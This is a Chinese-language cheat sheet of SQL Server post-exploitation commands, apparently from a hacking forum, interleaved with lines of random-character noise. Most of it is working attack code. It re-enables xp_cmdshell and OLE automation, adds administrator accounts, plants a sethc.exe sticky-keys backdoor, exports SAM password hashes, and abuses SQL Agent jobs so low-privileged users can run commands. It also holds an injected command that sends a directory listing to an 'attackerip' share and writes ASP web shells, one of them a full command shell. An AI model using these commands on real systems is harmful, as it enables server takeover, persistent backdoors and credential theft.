1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
: _: T+ K4 J, r恢复方法:查询分离器连接后,) {0 ]# n+ ^4 r+ x& K' s
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
7 Z0 o1 {- L$ F q7 z6 F第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
8 [* a8 x& d1 Q+ A3 F然后按F5键命令执行完毕2 Q p6 b8 D/ V7 r% z7 c9 X
$ n; T1 X- Z9 o" `' j4 V
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
- u. b6 e7 I, y3 }恢复方法:查询分离器连接后,2 ^1 t# ^2 z7 v- G% I. N" x0 T' c
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
4 V, D) f4 z" U8 e: m% n2 a第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'3 E- M* v1 X. ^) Y- y6 l9 W; m
然后按F5键命令执行完毕6 R m1 }0 A" a5 s
! l4 k2 M/ h( n5 T+ C- A' S( X
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)1 s n2 ?6 N' w
恢复方法:查询分离器连接后,7 j" O, e& o( |4 Z
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'3 [9 {( R' w/ v: }- b- j& w
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
+ u; X7 F+ y8 W7 R# G然后按F5键命令执行完毕
* D; F1 E" ], `* e" S
( {! |5 m' L1 e& I+ K& e4 终极方法.
3 ?4 \$ h4 V3 T# p4 l j如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:* m! `# r" F: l! G; K
查询分离器连接后,/ G) A9 `. Y" a8 T, L3 _0 d; F
2000servser系统:7 ?- b% E# ?, P
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'$ q# [; K9 ]/ M0 `0 B* e
i }! D, w H7 M( F
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'. j. a0 Z7 b5 W& e. s4 M# X
5 }& H1 L! k7 I% o5 d' J9 j/ r( I
xp或2003server系统: |/ m: P0 F: a; x8 ^
" Y1 J7 W! k4 Zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
4 V9 C$ x+ O A* Y+ e5 i' ]' s) C, z: H
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
( H& D9 u1 m5 j) H: x) N; {! l3 Q, t8 E5 D, b' y
: H1 L% @9 b# T. s( J: _
五个SHIFT
y7 y" ]" N3 ]; wdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
0 q: G1 r9 _$ w _4 o1 r- P$ R; Y/ H _& i: w
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
$ X: g4 q0 R. z! @ }! b/ O
& U; J" n( q& M0 v E7 C; E$ Mxp_cmdshell执行命令另一种方法
' k+ A, f* z* Y4 T1 Y' b0 ddeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
* n! B" E3 ]) b
. w3 i L4 J9 g判断存储扩展是否存在. b; C9 |* I. K/ Q9 J3 G [6 }1 \
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'+ ~% D# L7 C* R/ `; K m& _
返回结果为1就OK% [8 f: s) y! U L. f+ }0 O
7 d; C6 H6 K/ A- K, a+ X9 F
. ~% }( p# x Y上传xplog70.dll恢复xp_cmdshell语句:' [1 g! f8 g; E+ A/ m, o# x
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
* b: V" R# U/ {' g# H3 `5 ?' l7 ]. \ C$ A7 A
否则上传xplog7.0.dll
- |% l& U+ H! b8 T5 r* DExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'& E7 y: J( c& y, R
; Z5 @& \ Z' q+ h! O5 i8 e* J
2 d9 A- C3 K X+ F8 b% h( R* R; s, J" Y9 K+ b' N% F' Z
首先开启沙盘模式:( v+ F% w: ]% a6 A6 _
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1$ t4 L* w( H& Y* g% s& ~
( N+ i$ J! N- {1 G6 d# v- Z然后利用jet.oledb执行系统命令
- G t X4 y$ X$ S; ^select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'), y+ e Z' o" D @) @; f! n
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了# p* e4 G' J! _
/ Z& \) D$ @1 N: y- Z( Q
4 r# ?6 b' o" F) c2 q9 b/ {1 V- A/ B3 |6 b% H
恢复过程sp_addextendedproc 如下:
. O/ ?( v, `# c% h( e Zcreate procedure sp_addextendedproc --- 1996/08/30 20:13
; [. F) o) j: B@functname nvarchar(517),/* (owner.)name of function to call */
- U; j4 A X/ b% d- [, C@dllname varchar(255)/* name of DLL containing function */ " l9 q- }6 ]4 X( P+ o8 d; b; D
as , S) |0 Q5 J8 U& {2 s6 w0 T
set implicit_transactions off + I7 z# _6 I3 ?1 q0 W) W4 b6 F0 o
if @@trancount > 0
% n% d1 o/ i) tbegin 0 ~, X8 ^' S" L* @
raiserror(15002,-1,-1,'sp_addextendedproc') # A% w. ?3 k( b# o3 b4 {
return (1)
0 U# i5 X7 x7 uend * L8 D# _ A# ], }* I
dbcc addextendedproc( @functname, @dllname)
- }6 G3 ~/ e9 e4 freturn (0) -- sp_addextendedproc 2 r; r1 z$ l3 ~
GO
* H/ Q1 Q' g3 o( l
, }( E4 n1 u: D# G! ^: a$ I( b/ |
|0 F: Z3 O- d; Z1 f/ ^6 J1 f3 h7 w$ p3 w
导出管理员密码文件$ q3 k& a% a; T
sa默认可以读sam键.应该。
( k) [4 o, L! s: p7 ereg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
% M- W# b/ N/ t7 V) _net user administrator test
- f2 W; Q4 d2 Q! ]' P$ _用administrator登陆.
! v$ j( H9 I4 {4 R' C/ N' P' [* Q用完机器后
/ E) x4 e8 d6 Rreg import c:\test.reg
5 W$ ?; t3 v' R根本不用克隆.
. W" S, F& i3 r找到对应的sid.
( @) u+ c4 y! | A
E O: r& E- }- W$ c. S; [- E n
/ R# M! D/ q# F* B1 Z4 b6 q恢复所有存储过程
: g0 }: I: a* M( C9 @# [, Ause master
3 l, ^9 B' S7 d2 K4 x2 Sexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 3 t4 z3 T2 E9 p g# _
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
/ ]4 q" h7 o$ i0 A0 W" m" s0 `exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 1 j, J" O1 P! D$ V
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
: P6 f9 b2 g, Y" Y8 n) Eexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' * _* ? \2 Y$ G6 z
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
+ Q7 Q$ c0 I% R3 V( D& H4 m2 Mexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
7 R( p7 l. M2 M2 ^* Zexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
1 k5 r& K% l' t: e; |$ ^. J* J Bexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
8 c1 n) c1 s4 j7 T1 i& Rexec sp_addextendedproc sp_OAMethod,'odsole70.dll' $ D3 w4 M: G. V8 J" d. @- `
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
- t/ V; @9 q! E' `+ Q/ P/ L7 J! {exec sp_addextendedproc sp_OAStop,'odsole70.dll'
1 Y. X2 p8 n! {8 R% Q, ^0 pexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ( _8 s0 J4 `! g) n7 H+ T
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 6 H* ?3 z5 N* t+ o5 Y( X
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
- V& ?5 g- r- o/ }1 l( l6 eexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' ' k; P$ E$ x( N+ G: ]2 Q
exec sp_addextendedproc xp_regread,'xpstar.dll' 4 t) W5 T* j- A6 D& ^1 W
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
' W* m: s' W0 o( S% Xexec sp_addextendedproc xp_regwrite,'xpstar.dll' 8 F0 S- e2 J4 V. X
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'1 }" V# m0 r' \ _
6 R9 D. O7 L' w, j7 Q, v6 X! W6 z! z, j" O0 ?$ e4 g0 P
建立读文件的存储过程) ]0 ?5 C/ r* h; ^+ H
Create proc sp_readTextFile @filename sysname1 S9 h. a/ w) M! A" z
as0 W; \1 X. c$ K6 ~
: q8 Q& J9 L* N: p A5 l& `
begin
5 X8 [/ n* L& t, h set nocount on
0 C! X, r, n: X* b$ E Create table #tempfile (line varchar(8000))5 R6 a9 }' L2 F0 v
exec ('bulk insert #tempfile from "' + @filename + '"')4 z0 N5 S. z0 `3 M) @; F, y9 R
select * from #tempfile! o6 ]( Q0 }1 p- Y2 w
drop table #tempfile
% N4 T/ f8 F! x- REnd
* M; ?+ o7 y% j6 J$ r
7 F" U2 i/ w V2 S9 texec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
7 S: y. [/ i) Q! L1 \2 L' ?' a查看登录用户
# @4 b) y7 H, O. [" kSelect * from sysxlogins
% H+ p# [) y `" |$ X
6 S7 S: l2 e" U2 Y& b把文件内容读取到表中
8 y) i+ h1 z! ~1 I8 T/ L7 |- aBULK INSERT tmp from "c:\test.txt"- i: P3 K( G; u" c: V# @5 Q
dElete from 表名 清理表里的内容6 E1 c' ^# [) B) f
create table b_test(fn nvarchar(4000));建一个表,字段为fn
- C* k: m: I2 z8 k& b8 P4 g* S3 u' B O8 D
* A, o! ] q6 k! M. d加sa用户
: o1 }; ?/ S6 |" Oexec master.dbo.sp_addlogin user,pass;
T z+ U' O n) U) d' Dexec master.dbo.sp_addsrvrolemember user,sysadmin3 g+ R" \4 b+ s8 F' K
0 j% U/ A+ _9 R) R' B
3 d- t! Y- g/ X8 O3 ~3 R
4 ]5 d$ I+ I! w5 S. |: N
读文件代码
1 c3 h2 \, r/ [declare @o int, @f int, @t int, @ret int- b) q; G% ]5 v: [
declare @line varchar(8000)
! H( @) d% B9 k+ v/ g' |0 ^3 B4 _exec sp_oacreate 'scripting.filesystemobject', @o out
: Y3 ]8 n9 L5 ~- Eexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
2 H" g6 _! p0 x/ d" e7 [+ S) Rexec @ret = sp_oamethod @f, 'readline', @line out
2 J6 D- m& M* x$ J4 Ewhile( @ret = 0 )
0 {. ` q; e7 s C R" e' v1 ~begin
. c9 q. i) |+ C6 d' vprint @line
4 @6 } w2 W! ^! q5 Eexec @ret = sp_oamethod @f, 'readline', @line out- h$ N& L0 V, c# H
end
3 l! J2 m4 q/ b: ^, |: ^* P) R4 V1 K, o+ g I5 v& O5 J" f
9 ^8 P5 X5 ?( D; t1 G- F/ z; M
写文件代码:
5 P% C2 C( z8 a3 Cdeclare @o int, @f int, @t int, @ret int
5 x, j0 o# P _" jexec sp_oacreate 'scripting.filesystemobject', @o out
% H" \. `; Y, I. Xexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
8 K: v( c; @2 f9 m" }8 V7 texec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
- v' U. {5 `0 F' w+ K$ U. n$ T x' }( _1 D; T% K
7 n# f% I# Z% r% Z7 G添加lake2 shell
: [# S5 i) L j* l# ssp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'+ ~) ?+ K, {: g+ d; `" @3 s
sp_dropextendedproc xp_lake2
% V$ i$ p- c8 d- B3 ^" p+ w. \EXEC xp_lake2 'net user'/ p! d' \: w( V1 x2 z4 i9 W
, `2 y: j2 E& _$ e: q8 D% h' }8 x$ q/ f; Y
得到硬盘文件信息
1 t3 \. l, q* c- _9 D: b+ R--参数说明:目录名,目录深度,是否显示文件 4 V! }3 H; s% }
execute master..xp_dirtree 'c:'
2 |' j, d0 f2 E2 w3 rexecute master..xp_dirtree 'c:',1
1 I- b& X# {! j/ ^* ^: oexecute master..xp_dirtree 'c:',1,1
$ v( C7 u7 ~4 t# F4 ?% Q0 {$ V' r" \! I
: s" x% ]& s$ w1 D' W) N读serv-u配置信息; U! Q' o1 u! b) ?5 n2 k
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'! v. ~0 z/ q) f @, a
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'+ N" y* B& M) w1 z! |+ B# S L5 A
% G2 ?6 ?( ?6 f0 w' W) I$ }通过xp_regwrite写SHIFT后门
& G$ r5 e; j, z/ f4 Gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
8 U4 A# x$ y* X2 h" E8 h1 P6 C8 `& W9 y* o+ V
& ~9 P4 k7 Z1 ^
. W6 n( \& c' @; c! ?
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';( A2 B0 w+ J* h, `: z" g* P1 g
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了5 M5 g @- q- E# J/ w+ t* F
- F4 `& S+ {, h' F# b
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
3 N4 r( [- {7 }, K7 l* @: R& R7 i7 m" z, x
2 o: d# a- w* ^7 i. h' M3 k
" O9 M6 \" F3 A" ~- j3 z
sql server 2005下开启xp_cmdshell的办法5 K2 S0 N! \# F3 m
4 Q) I& C! w; K6 F8 Y* u* g
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;9 @% c5 v7 f: g! |& ^
% _6 {; H+ n% c3 k8 y* H, s, l( eSQL2005开启'OPENROWSET'支持的方法:' W' R& J* X& I: p2 f
# I) j' J! F+ p( N
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;; P7 M7 Z9 V% ^& V$ Q
1 b$ [" C$ ]) T- ^8 X
SQL2005开启'sp_oacreate'支持的方法:
. o5 \; i9 Y# ]) I. g' N9 M" T) ]) P
& B6 D) P& p- f' x2 Y, u" ~4 cexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
1 i$ o" U) G9 I5 N; i: N) Q" f! H1 s; u6 d; A
/ k- r/ Z# s8 U0 C K+ }( |: M
) U7 Y+ P' c) {
4 A+ a% H) y& c B3 s
6 e( N& {8 x* N% A1 o: G8 }% g+ ]# u3 C
7 v, d2 s1 E; V1 X2 V% g' I( H6 N2 ?1 Y- G) G3 b" \0 ?
" {" v+ W% n8 d* Q Y: a( F- _
; O7 a z6 [& j& W/ \2 o+ W6 U2 F! i, [0 u; l |5 j6 R
+ n% w3 X) k! A% ?, |/ R
1 [3 H. y$ e L5 Y7 i+ ?
Z/ g3 d4 d! D* @. z/ J6 v
7 ]; x) H! J, F c. q
# X8 _! b1 P7 P
3 Y( u9 b$ \. N+ S6 X
+ ^1 Y8 q/ h, j& r+ {+ I; A# i |. N: @! Y
4 f* V7 N" g% y1 ]0 n
6 Y- Z' D. }+ f0 C0 C; J! l) p* P- S& I8 y) p _" l
. @! U: P; H1 i) K* d& @; ~+ C- p# l% Z& A
以下方面不知道能不能成功暂且留下研究哈:
" r A7 ]9 ^. a7 ~6 i4)
# u$ _! g; K% D9 Y& p1 }2 {" k+ M/ }use msdb; --这儿不要是master哟
: m& O2 V" B, d, s) h# cexec sp_add_job @job_name= czy82 ;
& a! f8 \: `' ], n9 P9 zexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;# |* h! G2 d' v3 |
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
! ]) U; T6 n( {1 k) D( d4 x5 Rexec sp_start_job @job_name= czy82 ;
' T. x5 Y$ T4 s
. l* o+ D1 S3 M利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
: x8 H# z0 y2 D o: ]执行tsql语句了.% s8 L) d9 N3 ]" O8 V7 _
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
4 @ O8 n$ x# r' n) T X. y第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
5 a3 K3 @' m, M! |( Knet start SQLSERVERAGENT; p" O) s# M3 ~5 S0 W' \/ l, x- k" z2 Y
7 i8 U+ k! W& j% s7 p6 r9 Z对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
' ^9 w2 N) P' B) K& `USE msdb
: D/ l" j5 F+ wEXEC sp_add_job @job_name = GetSystemOnSQL , g0 ]( ~" H& V8 S2 m3 D! T
@enabled = 1,$ I4 R) y8 x( r# H" g1 D
@description = This will give a low privileged user access to) q- p: P$ t+ F# I& l
xp_cmdshell ,( ]) {. ^3 _1 v& h! V: q- X; r
@delete_level = 11 z: J- n7 a) d9 E$ k
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
7 i+ n* H H! g: _@step_name = Exec my sql ,: R* k4 o; o# O1 N( O2 j5 F
@subsystem = TSQL ,+ _1 _9 G2 D3 a; ]4 D' j
@command = exec master..xp_execresultset N select exec
/ W0 f" h- u' ~! {master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ]. n8 e0 e6 n; Y& Q
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
1 j% [" B: P2 A! q8 y@server_name = 你的SQL的服务器名 7 i/ B( d# \7 L& O
EXEC sp_start_job @job_name = GetSystemOnSQL - i9 f7 [. f5 {$ r' S K
' L; P1 `9 \8 G( t% q8 u不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
2 M' P7 {2 ]" G z- y9 Q才让我们可以以public执行xp_cmdshell
8 a- L' s. ]1 A1 `3 w+ K/ l
5 K# {/ M( \, O5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
1 @ I0 R, S& s1 P在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968( F4 y- ^5 i3 o0 Y6 a, k3 R( A
9 j8 n& g3 T7 YUSE msdb
I9 `+ s1 B, I) n0 pEXEC sp_add_job @job_name = ArbitraryFilecreate ,+ q# n$ U8 A. f: j4 ]# V$ V
@enabled = 1,
* {- {8 i _9 E. J& I@description = This will create a file called c:\sqlafc123.txt ,9 u4 ^: a. `3 s. P& o, I' \$ ]
@delete_level = 1
% K9 F) O" f5 P/ f5 R2 v$ o8 V5 [EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,: m* g8 ~% c: e2 B# o5 t( W
@step_name = SQLAFC ,1 Y% S. w7 ]( [1 B' \) X
@subsystem = TSQL ,) }: p+ S- n% `, X# ~
@command = select hello, this file was created by the SQL Agent. ,
; I* s/ b0 B a4 W- o@output_file_name = c:\sqlafc123.txt
+ a2 A4 d! {9 T! ` X+ XEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,, ]% u* P1 O* m" V+ `: M! ?
@server_name = SERVER_NAME 5 F0 h: w$ ^# j& {1 L
EXEC sp_start_job @job_name = ArbitraryFilecreate * v3 l% U. T0 m5 R
- {7 q, K6 z) T. O) y2 {4 M# @7 ?如果subsystem选的是:tsql,在生成的文件的头部有如下内容
: f; e. G# ]/ k: [5 O2 J/ G i! g) d) f% d* s8 [: q |
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
, _! j, I' J* @% V# s; c9 Y----------------------------------------------1 j' o- v2 b( i6 t8 p
hello, this file was created by the SQL Agent.2 p2 J% [8 c8 l& K. s9 d3 C
' Z7 h1 H. m5 O# V8 y3 I
(1 ?????)
$ n d1 f" f. k1 B6 u( q- n) @6 z( r$ X, q) k4 z# o: z J% W
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
" Y/ `" n( G& W9 t7 A! F# F6 w命令的vbs文件到启动目录!
$ |: g! e- }$ c N
1 m: p- h- X- T: r& g& X5 T1 w. B5 D6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
/ ]7 _3 y) V# c$ V3 z关于sp_MScopyscriptfile 看下面的例子
q% ?: `: s) v# x2 Z! L/ v- ydeclare @command varchar(100) 4 z) c. V) d4 j
declare @scripfile varchar(200)
' n8 W( `, J* m8 M% eset concat_null_yields_null off
( \7 B0 x; ?+ l8 `/ ?select @command= dir c:\ > "\\attackerip\share\dir.txt"
. Z5 S+ S* B1 ^% |3 X* B5 gselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
+ ^0 a* ^+ B* O/ N4 R2 @: Yexec sp_MScopyscriptfile @scripfile , + d. X ?% }6 x0 J
9 M( @) F! k! w. P& D# D这两个东东都还在测试试哟
# z) H# ^# ?3 T( y0 h! J4 v; v* w让MSSQL的public用户得到一个本机的web shell
/ N! D' w. g P3 @" J
/ x7 g0 ]4 r+ ssp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,& U! [7 Z0 Y9 v) @, G
--@query= select <img src=vbscript:msgbox(now())>
3 q. B' G* T4 Q. F! [--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> " Z a T7 X, j' G$ C5 r: `
@query= select
! ]9 N8 S6 N* J( L<%On Error Resume Next
# R! c0 T; ]1 F& m$ ]' wSet oscript = Server.createObject("wscript.SHELL")
- T( ]% Q% V7 I( b! `: N6 YSet oscriptNet = Server.createObject("wscript.NETWORK")
% j* @$ v/ K {& \" ?/ KSet oFileSys = Server.createObject("scripting.FileSystemObject")
* d" e: {2 [4 B' W$ ~szCMD = Request.Form(".CMD") 0 K2 Z* C* j7 ^; Z1 E' ~ n. e9 e
If (szCMD <>"")Then P( H/ U" D6 n/ s5 }3 q
szTempFile = "C:\" & oFileSys.GetTempName() 0 ^) b% u: l' D6 h
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
$ c3 g+ W- M! I$ h+ ^Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 8 n% l/ Z: m" ]& | l% _
End If %> . F3 }& q7 G9 p% I
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> + B1 A! w! F9 y' ^2 @- b
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
4 N9 X+ j5 z9 F5 |/ \/ l! k. N$ @</FORM>< RE> . G( r9 y( q: v3 ?
<% If (IsObject(oFile))Then
* S0 H+ n) X# d5 S) s9 d3 ^On Error Resume Next
4 O( L! ]! m) f% v- k* [Response.Write Server.HTMLEncode(oFile.ReadAll) # k1 c$ O' ~( x0 f! t
oFile.Close
' s9 F" K% {, [, I. ICall oFileSys.deleteFile(szTempFile, True)
; [. S9 T2 B; S& f3 dEnd If%> ( Y" G3 p9 P8 @3 }2 O% }
</BODY></HTML> - s+ W3 ]2 `& [
|